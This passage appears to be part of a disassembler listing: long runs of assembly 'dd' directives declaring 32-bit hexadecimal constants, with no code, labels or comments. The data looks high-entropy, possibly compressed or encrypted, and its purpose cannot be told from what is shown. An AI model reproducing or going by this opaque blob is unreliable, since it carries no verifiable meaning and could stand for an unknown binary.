0B77EDBBh, 0F84BF8A0h, 0B41C4554h dd 0C3578F8h, 7E71554Ah, 0DB15D35Dh, 7AF542C6h, 1C918DC3h dd 0F1359E0Bh, 8C862FEAh, 0AB5CCE94h, 7786C6E9h, 0EB6E8C80h dd 2D482EAFh, 984AB257h, 397B35DEh, 7543B6E9h, 0F55FC56Eh dd 0FA3FA275h, 798234B9h, 6DAA35Ah, 0E30EED9Dh, 8BFE6B53h dd 17D6A86Dh, 9A08055h, 6AD9620Eh, 0E6DDD121h, 0ED363BC5h dd 2FB1F41h, 13A0CDF0h, 0F03EF9BEh, 3EF90359h, 0DCE6444Fh dd 0CB95DED6h, 0EFD551F5h, 0B4104A35h, 0F4046D31h, 0C5F3F116h dd 0CEAE7645h, 0A0EBEAAAh, 4635CAF6h, 402D1FBh, 91C0DA11h dd 2F3B21BCh, 0D53E7F37h, 0FAAE3392h, 0EE7ABA0Eh, 0B2EAD579h dd 0A4FF2AD0h, 92C2411Eh, 4C762EBCh, 0E356B07Dh, 0F8A5A327h dd 4F183ECFh, 0CA1F80E9h, 481DD075h, 0B2DCBAE9h, 25DCB3CDh dd 0EEF333C1h, 0E3C65A59h, 155E82BFh, 57FC0FC7h, 3743C301h dd 47D34175h, 2B8BA649h, 221C7809h, 2561B157h, 0FCD5A18h dd 9C0AFC99h, 565F7094h, 0A9E805Fh, 6E644794h, 264FBF91h dd 85F891Ah, 0E76F9DBAh, 8ED7560Ah, 0BEC455B7h, 0DA8DF4BBh dd 2A3223CAh, 0E9D7E62Ah, 97F77D58h, 0F6CEECDDh, 5C068F41h dd 702537D6h, 0D8943B17h, 33035AE4h, 0D4F7B611h, 59F41BE7h dd 54A0F41Eh, 88B2F060h, 332C15C9h, 0AC926D50h, 0A9DA363Dh dd 6BD515E3h, 1AA30E11h, 1BBBE75Dh, 0AFF2AD69h, 2F24A368h dd 9C75F4DEh, 0ECACBB71h, 602995Bh, 0FF6F8501h, 76DB97Fh dd 0D9A12D52h, 0C05406B7h, 2CECA677h, 3F7ADC8h, 2DB3C031h dd 0FE58DB45h, 2DD815DAh, 0E1ADFFC5h, 74DFE035h, 0DA6F4C7Bh dd 807BF753h, 1CDC8D11h, 2CCC4B03h, 0C39A7F78h, 1DF56D66h dd 0B9F55F2Ch, 0CD66CDC4h, 76EFA924h, 6E250BAEh, 4711B29Eh dd 77E4DBEFh, 6500C8Dh, 63518CFBh, 0C27397B6h, 46D9C6F0h dd 3FDF8FFBh, 2AAA54D6h, 0D9343F1Fh, 3D54926Dh, 3A976CFBh dd 7F201CDDh, 0E6C6DDBAh, 2D8DCD57h, 43EE8AE1h, 0C27F23D9h dd 6A34B22Fh, 86F72AB9h, 68E2E7F9h, 7E3ACBBAh, 8EE7E7DFh dd 43DABBC0h, 56739F8Bh, 0A2F42A75h, 0ADAFA8Fh, 3607C942h dd 9CD7C299h, 5D326F87h, 0F92FB645h, 2E7EF171h, 0D730B0F5h dd 0C45C3180h, 5F610428h, 0EF5D29A5h, 8DBB9108h, 0DE898C1Dh dd 0AF11A015h, 0FC49607Eh, 0F5DF366Ch, 97EE1F8Ch, 0BC68567Ah dd 9E471D5Bh, 0A88C625Dh, 5E4DB86Ah, 0F9100576h, 15FC2060h dd 0EDC1FE92h, 24EA0C5Dh, 9EF014EAh, 644D8C4Ch, 0BEE8DB3Ah dd 9A26677Eh, 8929943h, 0F2F367AAh, 568B9E9Fh, 79067C3Eh dd 3084BE1Dh, 0B2FC2B6Ch, 536B3206h, 1C6E7DD7h, 9659CB1Bh dd 0B90FD840h, 564515EBh, 6B63D103h, 0DC868C0Ah, 769CE6BFh dd 4F52AEC3h, 8CAA8C99h, 0CCFE0CBFh, 530CA3F0h, 52582FFBh dd 1B22CC65h, 0CFD18987h, 0EAE8912Dh, 4039FEB9h, 0CE7BCAB5h dd 0CD03087Ah, 0C9357C3Fh, 4CD925E7h, 5E8C4C41h, 8ED77175h dd 0F1697058h, 313F6020h, 74776045h, 0EB4F817Bh, 0B45F1719h dd 0C0FB6ADDh, 8FCADB77h, 961964C4h, 0C9568E86h, 7370BF8Ah dd 0D9BABB08h, 0A5535C85h, 0A243D20Dh, 0BA9DCE1Fh, 8681C655h dd 0FE6E2D6Eh, 0D266078Dh, 0ACBD5FE0h, 38BF4919h, 85A7DA33h dd 775C9BDFh, 37B1D0B6h, 0A42FA861h, 6C6F4B2Fh, 1798F3FBh dd 0C119A2CFh, 0AAED2B03h, 0FBB37B8h, 0E6F23E52h, 6C0F9B27h dd 0B4A9DE81h, 6F17655h, 0FA0D3D51h, 85550F50h, 3E209689h dd 74C73FDh, 0F405558Eh, 0BBCD0855h, 0D9033DB1h, 2CCCEDD9h dd 22E3D50Ch, 0E07F10CDh, 0E435D548h, 6AF0BA24h, 3650BDA2h dd 97EFF663h, 0ABEEF8F8h, 2CB26A8Bh, 0F1EC9889h, 0ABE99871h dd 65959DB1h, 7FBF6EAFh, 0A6AE8246h, 27378792h, 2AC9CD8Ah dd 0EFF47878h, 1E5CECE5h, 0C218AA9Fh, 0E50143ECh, 0B62B1FD0h dd 0FDB9F8A2h, 0A92255DFh, 0F40A8167h, 0B917758h, 0FB1DF195h dd 0CDC3CA89h, 0A2B4ACB4h, 7DE5A1E7h, 0B3E35A26h, 93AB7E93h dd 83C788CCh, 0CA617D04h, 65BA9823h, 5B58E948h, 39FEB88Ah dd 0AE022D1Eh, 88B6529Fh, 354782D3h, 8CCAF2Ch, 571DCB66h dd 9D3A3DCEh, 5652462Bh, 0DE8BB7DFh, 0A30BEC0Ch, 0D5DCD70Bh dd 1173A43Ch, 8918CA60h, 7952EF9Eh, 0A125FD5h, 891C51Fh dd 7326D2BFh, 85D75D2h, 0D8F879D1h, 0AE960C5Ah, 0BA2D2743h dd 30A9E92Ah, 4BD67AD1h, 75FF82EEh, 2C042535h, 0FDD46D1Ch dd 856F6163h, 450BE181h, 4FC2EFC6h, 4436EBBh, 0E613D155h dd 6D96BAEBh, 0C252CEEEh, 6EDD5BA6h, 6712AE3Eh, 558D8B78h dd 1028EA36h, 1EA181EDh, 6BBAB14Ch, 1016FB7Eh, 0AFDEA9Ah dd 0D30EE42Fh, 7D7628D5h, 7D13DD11h, 0FE16820Fh, 3870A0ECh dd 0FFF5D6B6h, 0C32F59AFh, 4682DBBAh, 0F2B91AC0h, 0A9B9B648h dd 3DAE95B5h, 9F07D989h, 5A3D58B0h, 0DFC06470h, 2788DD70h dd 0EA8BD7EEh, 61997D6Eh, 14D7FD61h, 0F8081470h, 78FAE4D5h dd 0E9A26525h, 8F267F2Eh, 70FC5E3Fh, 82BD46D4h, 6090D241h dd 51BCB265h, 5044EA82h, 0DDA1DECCh, 0B4CBF29Ch, 50DAAC84h dd 98CA9607h, 0DB7B332Ah, 0C3E15F51h, 7491F6ABh, 51904DFAh dd 6EE1F8DEh, 7AB9942Ah, 0F6C132ACh, 0FC9DABEFh, 6DCA9B8Ah dd 0B4765DDAh, 0FDAFDCF0h, 0A4C060BFh, 0B197E563h, 6F65A681h dd 873E913Bh, 890494BAh, 113DDD2Ah, 0A17A6A6Eh, 0CFB5F3A4h dd 823E8DF4h, 0F22D36DDh, 2B281AEAh, 0B9C59767h, 0CCAE6EDh dd 12FEAFAEh, 0F0EC92CDh, 6697FE1Bh, 0FE11A5A2h, 0A5E8C0D6h dd 0B4988F55h, 0D29F8AA2h, 0AFA7300Dh, 0BF0D8BA8h, 18CFB068h dd 77394EADh, 2A5D235Bh, 0A78F84BBh, 24D69EB3h, 8B23A8B0h dd 968BC288h, 19BDB601h dd 38A6983h, 0AEF841C5h, 55A8D736h, 7F487E0Bh, 75C07D92h dd 2E4E6F4Dh, 0A28D3CA1h, 7BC4A328h, 714326BFh, 9ACE9DC4h dd 0DC702066h, 639C19BFh, 97798275h, 61B43586h, 0DBBBC444h dd 3F03E09Dh, 41683A15h, 7E3560F2h, 8EAC2A16h, 8C2187E5h dd 0C8FBD035h, 5543F955h, 783D6039h, 0E6F3AA01h, 0E1B277D0h dd 0B939EAB6h, 21DFDBDh, 0C882E3A7h, 0FF625E96h, 4E0F220Dh dd 68A6AF51h, 35E0C2E3h, 0ECBFA022h, 3A69DC7Dh, 38E24BCAh dd 0BAD5CCBDh, 6480A398h, 0D743F0F7h, 0A912D327h, 0CB9971E4h dd 9D58FC93h, 0D1E3F98Ch, 4C0AB42Eh, 574B7A5Dh, 0CBF35390h dd 0D700EB75h, 0FC379FD3h, 53812733h, 0D158C89Bh, 1D40BE3Ah dd 9EB431F7h, 0E3DE7DDBh, 0EBF82EFCh, 6DABA9B5h, 983E2410h dd 47ADF6E4h, 0ACF64245h, 66A0AD68h, 0A0EB9F09h, 5A1EA429h dd 0EE5778F8h, 97F0A734h, 85D062CAh, 0E4544A20h, 0FCD42D0Ah dd 79CBA56h, 25EDFBADh, 80E09B52h, 0D9321A37h, 7D15DCE7h dd 54EA368Ch, 358B3D5Eh, 53AD0E48h, 0F03F8C8Ch, 4CBAF9D5h dd 7F7B3C35h, 80938359h, 0ABDA35A6h, 0B65A9049h, 0DDC994EDh dd 4727D23Dh, 0F846E257h, 0DFF9119Fh, 0F36EC813h, 0DC2EEDEAh dd 0DA2B4DA2h, 0A6BAB3CAh, 63A78AF9h, 44A2FEC7h, 79D5D360h dd 0CABAF60Eh, 2AE79B04h, 0E9782707h, 8F18C094h, 0D5E37C50h dd 37DED927h, 322EDDEDh, 0FE6C1E8Bh, 6C3D557Fh, 7B2D13Fh dd 0C28A9E87h, 3B0BFAC3h, 0F1E7F7EBh, 9E679CCh, 9993055Dh dd 3BF94413h, 81BE07B2h, 0F2150109h, 0CE150756h, 0AE4D6F19h dd 7CE7CD72h, 0E21D69D1h, 0ACAE525Dh, 587DB579h, 77D61C48h dd 0C2AE5130h, 22DBA8CFh, 0B0B1A491h, 0F87325FCh, 0F7FFD732h dd 64061B89h, 0CC7176E4h, 8FD957C4h, 531B8EBBh, 0AF9EB85Fh dd 0F1533FEDh, 0D6C74956h, 0F03F3E7Eh, 8B6F0E7Ch, 9C1561C3h dd 83E18461h, 0DDCD649Bh, 0C07C224h, 8DC6922Fh, 0D3340712h dd 8DB78C4Ch, 0FE403A7Ah, 915DC5C1h, 6A8EBDCDh, 92593051h dd 0DD728BE8h, 0E6733EA5h, 0E3CAAE8Ch, 0E7A2179Dh, 39495AC6h dd 0F2890180h, 20EAD432h, 0CBB290AAh, 0F16D7FC8h, 5671737Eh dd 0FBA16DEh, 0B9C972F6h, 6DF21F8Ah, 0D7FE55F9h, 7AECE78Ch dd 0F1EBA639h, 0F26C8C1Eh, 0DDF7E1C7h, 4AD8DFC3h, 4B038DC5h dd 0F7ABC58Fh, 0D4BB743Eh, 0E17E5E93h, 832A9FB5h, 814FD3FDh dd 0B380918Eh, 0A3EA1F60h, 0FBB1F872h, 51309FDFh, 7A0F8FB9h dd 75F3830Eh, 0A0E80AFCh, 0EF8A8FAEh, 70B8CF5Dh, 363B86A5h dd 29D8C342h, 63EEFD56h, 1EEE6DCh, 0D6E5F617h, 30534822h dd 0A6C47FA1h, 5333DF05h, 5CFDC21Fh, 8CBF70D5h, 0E7B5B7B9h dd 0F46F763Ah, 5735E5ABh, 0B5F21BEBh, 0E79FAB6Ch, 0D428E7C2h dd 397DED2Eh, 98077F79h, 21EA8185h, 0B7C53BC1h, 0A11EBC63h dd 6F6FDF6Ch, 6640A0E3h, 60686231h, 2EB47755h, 562E4B1Ch dd 0DB3B89AEh, 0BBD5840Bh, 0D74BB73Eh, 0F97B65E5h, 1997F19Ch dd 0B448EA97h, 2C901CEFh, 176ED4D2h, 4FF83C97h, 53B6D07Bh dd 960F307Ch, 0B109FC48h, 0E639AA40h, 22E28CACh, 0FF5A3FB4h dd 0D746DD4h, 0D3210BFh, 0FD810CACh, 0E2E9192Fh, 0E9A07C7Ah dd 797085DBh, 63077205h, 0EC6AF6E2h, 0E0F83E73h, 0D2BFA814h dd 0F0E7AD1Ch, 9F0D102Fh, 0FB7BF68Ch, 0E6FB8D3Ah, 763023FFh dd 728AAE2Eh, 35EFDD81h, 0FD2FE29Ch, 0A1307154h, 0BE038h dd 0F17546D6h, 0F781CE0Fh, 0F0EB601Eh, 6025C585h, 56B8BE07h dd 8538EAFBh, 0B58AB57Bh, 562FDB69h, 0F4F08BEAh, 2A6D9CDBh dd 391B5621h, 7D9614EEh, 0D5492B67h, 0BF9DEA44h, 54E6AD1Bh dd 6CB6E954h, 72CDAC9Dh, 1B3F26C0h, 0F8B7F22Fh, 32E2CD64h dd 0E86721E7h, 0A77D66AEh, 6CAF5DF7h, 4D3D5FEh, 0A8E72D1Fh dd 1B9C8B26h, 0D6F46B02h, 527BE1DAh, 526D1DEEh, 62D2AC45h dd 54DB4A8Dh, 0A09D9010h, 0FB9F5366h, 2816938Ah, 1C93DD28h dd 85D9AEAAh, 9408EEDAh, 0C14F2DA3h, 0DB740933h, 5026D321h dd 0D191E3B3h, 6214EC3Ah, 2671E5BBh, 173B0F41h, 7EC5BC5Ah dd 14BCD83Fh, 5D8B9E0Eh, 0BF68EDA2h, 0D90BB0F9h, 0DC252C84h dd 669AB959h, 0FE2BBB59h, 0A77FCA2Ch, 0FC47E12Bh, 0AD6B7136h dd 0AD3F95F6h, 0AA670FC7h, 0C83B41F3h, 0C7FCE37Fh, 70DB472Bh dd 2E35FAE9h, 343F17B9h, 0D3AC98E5h, 3888D51h, 9854AD10h dd 6D36F7EAh, 0EE95F3ABh, 0DE7D8488h, 3F2732EFh, 0D9884AD1h dd 90315E99h, 0BEC54732h, 7705030Eh, 0EA04FF1h, 0ABACA86Dh dd 0B7821F6Eh, 0C5ADEE6Ch, 0BEE168h, 17CF23B6h, 4A6C3ACDh dd 8A963F58h, 54AFD3AAh, 6425011Bh, 0E4D9BBE4h, 0A2730B3Ch dd 0E93E19A5h, 65509237h, 80AD3AE2h, 0DCFAD009h, 5577D0D4h dd 0A617E444h, 0DDEF06BFh, 768602EDh, 0E346E0F7h, 89FB6338h dd 0B775A96Ch, 0A0BC7D34h, 883B6F5Ch, 0CB0E076h, 0A843EC2h dd 5C059D4Fh, 1237E278h, 0ACD33EA4h, 0C201CD9Fh, 58AB3037h dd 9AC0269Fh, 7CBA374Bh, 0A8BAB5A3h, 5A88A96Ah, 41B97988h dd 3A5FCCFFh, 0DEE84E2h, 0EEDF1113h, 34E42CFDh, 0F56FE461h dd 0FAEAC6C7h, 0B3B71A1h, 0BBD7613Bh, 0D77A8C0Bh, 27EB8AADh dd 0E95E584h, 0CBA5AE8Dh, 0EC556B82h, 40629383h, 2FE8B24Eh dd 79CE7B57h, 4BBCAD5Ch, 0B995202Ch, 8409DFEFh, 3E8798EEh dd 6C87FF4Dh, 0A07FC9CCh, 7DFAE16Ch, 0C07365DDh, 45CADF33h dd 10ED4395h, 5638056Ch, 26DC9D16h, 0BDA06BEAh, 525D3B22h dd 0AE939829h, 9E4B44E9h, 74E46F36h, 80D993F0h, 0B852AEDEh dd 6981E17Ah, 0E1DA026Bh, 2396EE25h, 0CD637395h, 0A9F0C279h dd 25FF5DA8h, 0C7E55460h, 0AB3D485Fh, 3453BE58h, 1E0CB60Eh dd 609AAA63h, 0B622058Bh, 77708E72h, 8A37EB46h, 0EE5CF13Eh dd 27EF0650h, 8A5ABA8Ah, 604A4B32h, 0B7BCFA5Bh, 0E2C85D72h dd 8A71D8BCh, 0EE8141EAh, 0D7299AEDh, 0C167C3B1h, 1D8D6FC6h dd 131255F2h, 7145D9D9h, 317E551Ah, 51FF1251h, 5417A7ADh dd 0FC8B1251h, 7CF2FE9Dh, 2BD9090Dh, 55E7BA93h, 0B9B8C1FBh dd 564144C2h, 62A3FD8Ch, 5FFBEFC5h, 0D86DEB8Dh, 6C9EBC96h dd 17BA03BDh, 0B8D2E049h, 0FC2A27D1h, 175F90EFh, 1FFB86BAh dd 4B1B0EE7h, 0C7CB5AE8h, 0F0B03EA2h, 0F9ECED9Dh, 0BDCA96E2h dd 935FB9Fh, 5DC23CE3h, 7FAD11FBh, 2E8378BDh, 8561BA98h dd 1E746BDFh, 0DD4C3F1h, 0D5575600h, 6FA1EB46h, 9389AD8Ah dd 2E45DC27h, 0C0AAD975h, 5D2AFAA6h, 0DF49A89Fh, 6D5EBA2h dd 0BBD6E2F8h, 0B53A3A5Eh, 25682B27h, 401089B6h, 0C91BE1FEh dd 0C0F3F895h, 650A42FCh, 7BD1289Eh, 5F3AADBCh, 0D69BBB70h dd 35A3A3C0h, 88741762h, 0D3244EEFh, 6D722E9Eh, 43D4F20Ch dd 0DD89F72Bh, 0D7575731h, 91585EFBh, 0DD91AFB8h, 502C8915h dd 46F52988h, 7236BA5Eh, 0FFACBFC2h, 0E1288DE2h, 9EAEA6F6h dd 8338E7D0h, 0CBB51D98h, 7E36F5B6h, 7F16EAC6h, 0F89FD2D1h dd 0BC9D879h, 4BCD8D81h, 0F41EA8CFh, 62A96772h, 4AF1C63Fh dd 0E3921D88h, 54957215h, 2D11ECC1h, 55C253C1h, 0EBD9DCF8h dd 22D931C5h, 5A543E4Eh, 37107734h, 0FB146CAEh, 87879CB4h dd 7D6CD362h, 0C121E8DFh, 456A6AF1h, 0CD7B8862h, 328AEA6Dh dd 449DB110h, 63F85DAh, 8B21CA8Bh, 8E7F6549h, 60E37C1Ah dd 0F2AAA707h, 9C04A80Ah, 0AB8F1ACCh, 41AE8451h, 5D208C81h dd 0F8C08ABAh, 409388A7h, 0D404A84Dh, 71DC2638h, 0F88C7981h dd 3DCE1330h, 4AAE830Bh dd 8AAE8D8Fh, 0E3026A58h, 18617A10h, 0C08F4053h, 0E5A43E62h dd 54604D4h, 0A027F70Ah, 2992052h, 23E50614h, 0F0405860h dd 9033A3CBh, 606F1555h, 76B87588h, 0C69811C6h, 0C0545055h dd 0A14A2060h, 412C00ACh, 0C11C4555h, 0D041D967h, 0F45F6ECh dd 0A3E02AF7h, 20029F6Ah, 443F0B21h, 0B93C5C95h, 67E239D5h dd 4F447402h, 223CE46Dh, 2E86A2ABh, 0E5C598CCh, 0CAFE30FCh dd 1CBBA6F6h, 89DED94Ch, 0F619A757h, 90EFDFD8h, 3D21BA04h dd 6CDD2B86h, 0FE288524h, 0F5236BAh, 0A0AE1E01h, 7939EF21h dd 1BEC99C5h, 0D26263B0h, 0ABB7AD88h, 0FBE04BE8h, 0B6FA0931h dd 7E0D83BFh, 78B7ABE2h, 0CDA8C040h, 7E283FA0h, 0D0AC7B6Ah dd 0D51A4F05h, 0D51BEFFEh, 0E0F0D509h, 0AC16557Dh, 0B35376A8h dd 0C14AB65Fh, 0BB5A30D2h, 4D17C896h, 0D5E4BEFCh, 6C241DD4h dd 694D63E7h, 123EB1FBh, 2AAE73A6h, 69F47AB2h, 0CD8C9F8Ah dd 30644DB0h, 62C77E90h, 8C649230h, 1EF50C94h, 0F9F9D5Eh dd 0AC4C0F1Eh, 5C01545h, 6146E997h, 3FC688D7h, 239BD02Dh dd 0C568F333h, 35CCEB3Bh, 19C0FBB2h, 9B068401h, 92076E39h dd 835F45AEh, 0FBF5F171h, 191F1783h, 0CF2C0738h, 5D4ABAD4h dd 0B5C3AC51h, 57C3FB1Ah, 5F999355h, 9F11A1A2h, 530AB834h dd 0F3F2181Eh, 0AEFB054Eh, 0E2626626h, 78799A7Fh, 2A8C6554h dd 40BD94D4h, 363DF575h, 3DC992ECh, 40DC2BAFh, 78D063Fh dd 82F7E45Dh, 87AD97F2h, 19D1693Ch, 0B656AD04h, 0D5DC624Bh dd 93BE84B3h, 0BEC52948h, 4CBE9C04h, 0E754DD33h, 511E6BE3h dd 735DE56Bh, 0AE03A086h, 6C3DF6BBh, 3AA1906h, 0BEF8E8A5h dd 0F0CB64A7h, 49DF2053h, 0DFA9BE2h, 5D038236h, 9BB78D0Ah dd 0FCAE1BEFh, 4B391032h, 0AD6F7AEDh, 368E66D0h, 58EE17FCh dd 5D55D50Bh, 51541768h, 57A7A64Fh, 0C76FE129h, 332EB857h dd 7D1D6C83h, 0BBC1754Ah, 0D80E6D3Bh, 4080F3AAh, 0AA40348Dh dd 4A729FC5h, 0DFCECBFBh, 71915CC1h, 577F94EFh, 3518F4E2h dd 0A1455DEBh, 0EBC5EC46h, 0B54B0E60h, 6A8EC0ADh, 0A9B11BFCh dd 61255267h, 0DBDEDB5Dh, 9D1AC87Dh, 0A37D5E1Fh, 0BD0DF646h dd 3790AB87h, 0C16AC303h, 0E0CEE52Ah, 91C2E739h, 707CAB62h dd 27169EBBh, 0A4023E97h, 0ED997724h, 6C41674Fh, 0E8ADA323h dd 0C79FBF0Ch, 57CE043Fh, 1F9B7670h, 6C354554h, 0DA7241A2h dd 4636B9FBh, 57ED199Eh, 0FCFB66EBh, 0CDA6377Dh, 62EF17F3h dd 7768BBCBh, 8036E735h, 96839DB2h, 0FB850E83h, 0BFED341Ah dd 845F833Ch, 0C4424383h, 13F1D823h, 7B2E6B16h, 0A12B20EFh dd 5C005AE3h, 0B04BF979h, 0C0F3BED7h, 4E5F8E27h, 0F3035DECh dd 3FEFD5CEh, 4ACF135Fh, 0F246B419h, 0AB365B5Bh, 2AAB9CC8h dd 0FA39B607h, 7556B475h, 3CF0A998h, 0F479A2BBh, 4DFDB0BFh dd 0DB89BE31h, 0B27D1F29h, 6796836Dh, 0C4C18226h, 0C1ED501Ch dd 841B82D4h, 1DFC6743h, 698E2A58h, 61D23753h, 7DF97140h dd 69DCDB92h, 0ACF25C5Bh, 97C5EAC7h, 0EC77A51Bh, 0C6BB7255h dd 3EB545C5h, 54FEF0F0h, 3D2D1643h, 235E4B31h, 255DD1C2h dd 0B8431565h, 0B2D184D7h, 0D5350BF9h, 0F0443017h, 17571EB3h dd 0DD0D89BEh, 7E5858A7h, 0DFAE03BDh, 18F030E5h, 0B969789Dh dd 4E5AE4FBh, 84490BE1h, 0AFA6F601h, 0AF1FCF81h, 0F54E651Ah dd 5EE2CF86h, 9BFC764Ah, 0BF24560Ah, 0A7C67AECh, 0BAA5F7CEh dd 0BA3EB6EBh, 5E243E5Dh, 89492BFAh, 2C90F1D8h, 571807D6h dd 224AEBA2h, 0DF412FC8h, 0D7281665h, 6CA9D6B1h, 6F8E2119h dd 0D9C2CAE3h, 155C3254h, 0D875AD15h, 2E428BCDh, 0E4BABE5Dh dd 0A731555Bh, 4DCAB89Dh, 4EF71BBFh, 0DE920AFBh, 8FF93846h dd 93E6914Fh, 6AAFD476h, 0C65E0658h, 6DEA9D25h, 32F84F4Eh dd 5F93D1D5h, 0FEEC0061h, 31EEC163h, 0F8E8DADh, 0D12FA008h dd 0FD43348Dh, 0C0DEBE06h, 0A63234ABh, 6FA61E4Fh, 31EDE27Bh dd 159AD881h, 6AA0802Dh, 6F76EF2Ah, 0CEAB0DC0h, 73BFE019h dd 69C4F0DAh, 0D42E6AC9h, 2B44A74Ch, 0D5ADBEDAh, 0E0FC1076h dd 0A13D8DC9h, 40E1E5AEh, 0F0175D0Eh, 732507E0h, 0F354D63Eh dd 1D9A350Ah, 7785717Eh, 0B7CD21F8h, 639E5774h, 13A17C89h dd 9F587777h, 53D31F14h, 0B616AFBFh, 1EF9A0F6h, 3C7956B1h dd 3E5A4D4h, 25E5FD0Ch, 0D3BA2A76h, 5A2B9C87h, 0E1FDFAB7h dd 6016FF44h, 0F8CAFA63h, 4EE2A906h, 0A9822FE2h, 6F81ED67h dd 7F584DA3h, 0EF9D3DCFh, 51FCB877h, 0D5676C08h, 0BF5CE76h dd 5787239Eh, 0ABD7B0D2h, 3EE2365Eh, 70568F5Eh, 0C1AF9B67h dd 2E53C0EFh, 45E194E5h, 0D334D50Bh, 0FDEB1402h, 0BD2F0257h dd 0EC2607E3h, 28D26D7Ah, 0E5FAD94Bh, 94355769h, 3B370FC5h dd 0EA8B84DEh, 0E3C2A0C6h, 7079022Dh, 5B5F3ECCh, 0FBF2C8ABh dd 0F11950B4h, 45F43A6Dh, 4BCED44Dh, 0B92CFB7Dh, 26B76787h dd 0E86049DFh, 94D435C0h, 6BF9D33Fh, 0B7BF2FADh, 92E034EFh dd 36351C09h, 694537D7h, 0DC720AE8h, 0B7FB3AF4h, 0A65AA251h dd 3F82D896h, 0EA1F8F8Fh, 0E595F613h, 4A9DA349h, 48896755h dd 6ABB77F8h, 7D087157h, 0B90E8ACCh, 2CFEE5BFh, 50D5509Dh dd 0BF5BF5F4h, 6C3A99E8h, 0F21D7936h, 7FCAACEBh, 690B6863h dd 682EE877h, 811B8AC3h, 8C15F9C6h, 0A6DCAEE8h, 0FA9858AFh dd 44F9D79h, 0B6E6CB84h, 0D20E7D1Bh, 0D70E02CFh, 0C7251AADh dd 0EA57E416h, 0DC226D55h, 47147D53h, 81957FACh, 9C071AE4h dd 75545EBAh, 1F656E64h, 8569C3DFh, 69F01208h, 0A7511895h dd 0F5700738h, 0BE4043B4h, 0E45C42B4h, 0AFEE57A7h, 676581E1h dd 0C1B1354Eh, 92BC3CDFh, 0CDC70785h, 11C0FCBDh, 5268AC05h dd 57884836h, 991AB7ACh, 87E0A76Eh, 0F3C90BF7h, 6265D8B7h dd 9BEE7601h, 0FCDFCFADh, 793AF388h, 5703580Bh, 75F2C565h dd 26D15A70h, 3D2B6F5Fh, 2D8C9DABh, 9B759A11h, 0C1E2C570h dd 0AF66D63Eh, 39BF1BAFh, 0C713BB76h, 0A87D51DDh, 0B4DA56A1h dd 3019246Fh, 6390776Ah, 15B8C149h, 399C7555h, 48069E61h dd 331455D2h, 808C2C66h, 740EFA2Fh, 0BF4E9C20h, 170CD5FBh dd 0B62375ECh, 0FDBD9AEh, 0ECCACBF1h, 8A18A2EEh, 551B2F14h dd 7F12FD96h, 9C755700h, 0EA1D86DDh, 27028822h, 574905B2h dd 0DE84212Bh, 0D90E113h, 6FDEA90Bh, 5319301Dh, 2D9A90F3h dd 0F7FF6931h, 0EEA1610Fh, 2B3AB3ADh, 0C12AFD58h, 90BDBB98h dd 0C951A783h, 0EF2B6568h, 0BEDE3554h, 5C0F161Dh, 4BDAD901h dd 7F9F353h, 4F3DB755h, 7DE864DEh, 55D44015h, 59B0EB5Ch dd 6C7BA039h, 0B0E0977Ch, 36655724h, 19C4EBB1h, 8953CEABh dd 0DA2B3E3Ch, 0F4E2BF81h, 0E3F667B4h, 0C8D3A9C7h, 7BE3336Ah dd 4CBC1E7Eh, 1DD7AE30h, 717697A4h, 0B01E0E18h, 4E73FFBFh dd 19DDE0BFh, 9E752F9Fh, 0EDC0C2B9h, 0A694F181h, 9736AB5Ch dd 0BDB21F2Ch, 0CC2DF76Fh, 39DD2185h, 79B2BA70h, 0A1F87862h dd 0A128A100h, 7B83753Bh, 5FF74295h, 0C634EC6Dh, 97335371h dd 0B3DEE51Eh, 0CDAAB734h, 4D4E75F5h, 83CB67D2h, 2DE72FE8h dd 0B07B7910h, 0F2FC0B9Eh, 1E7B125Dh, 11105B6Fh, 0D265450Bh dd 41D705CEh, 0F41750Dh, 0D1DFBFDBh, 0F66F3872h, 30F435C5h dd 0AFB6010Dh, 3D83AE63h, 417F6758h, 50C0EE5Bh, 0BEF1AFh dd 3988DD5Eh, 0D0B44768h, 4AEDC2DFh, 0AC0FD76Dh, 0DABB3A69h dd 0DBC32BBCh, 0E79B0B6Ah, 0DC12BF0Dh, 9A1E4052h, 0EE7768DBh dd 1E82C286h, 87FC8D81h dd 0CEE0D482h, 4DEABF8Bh, 0C9B99181h, 66D7DEA4h, 6B61BA81h dd 4CE785CFh, 252B2F57h, 27C3AEE3h, 82E783E4h, 0F7D02ED6h dd 8CCE0047h, 0F75D8776h, 7B4C2717h, 0B42DD454h, 6CF3AC2Bh dd 5D346A5Ah, 66AF530Fh, 0C67B2D43h, 475A5A4Ah, 0EB2A0C22h dd 0B59562B0h, 42F91999h, 5F5A67D0h, 7216FDABh, 0B65A9B0Dh dd 9A31BEB3h, 0B78B343Dh, 0B5B92598h, 0AC259B98h, 28427236h dd 283A663Dh, 68E1F4C7h, 6F5BBB5Dh, 0E2251B3Eh, 0B46FB460h dd 0B79D7D16h, 1371901Dh, 6AF607A5h, 1A86EF2Fh, 0B5874CA0h dd 5C3D101Fh, 0A4CAD8B4h, 0D0BE5440h, 0EB95DD3Eh, 0C6953A08h dd 0BBA74F6Fh, 0AFCFB1FDh, 13FE5A2Fh, 0B47127C7h, 7DD526ADh dd 0D3AA3ACEh, 0BD28DE07h, 543C65D7h, 1E6DE4F9h, 52DD9F7Ch dd 0BB82D7E9h, 0DF8DF383h, 4BD9C3C0h, 0F76D95FAh, 52DA252h dd 0F6FEF2D4h, 0EE767952h, 0D2ABB4EAh, 76AF9688h, 0C51067ECh dd 0FB6554EBh, 0C5FD1391h, 0FFAA9321h, 0DA7FCCE0h, 6879EF89h dd 0F7FBCAE5h, 0ED42015Fh, 8C733AB8h, 1ED9CD3Bh, 732604E3h dd 0CA85FF7Bh, 337076F1h, 4AFBD0CAh, 597FD189h, 0C755816h dd 0DFC49554h, 36031D8h, 64C497CBh, 0CFA955ADh, 13F52BF3h dd 0B5775548h, 35337F35h, 42C46AA7h, 9B192D5Ch, 358ECA3Bh dd 0BE76B6EBh, 5F875FA2h, 0ED5AF171h, 0A0C4825Fh, 1BF23DDCh dd 781E2E7Dh, 81F2C4F7h, 7ABBD17Eh, 5D22901h, 0BF3B87CDh dd 8053E32Ah, 0FEEA9DA2h, 8F82C5D2h, 0AB781F1Eh, 622B1EBFh dd 0C3F13B0Ch, 7831EE39h, 0EB71C47Eh, 0FC1BCFFBh, 2CE81F58h dd 0E462B181h, 0F523722Bh, 81059B4Bh, 937752D8h, 0CE71B454h dd 87B7E957h, 0F3A101Fh, 0CF95CF96h, 5F93C8EFh, 7BCAAAEBh dd 64D867D4h, 0C92D9F09h, 0AF157D8Eh, 0D5CE7AAh, 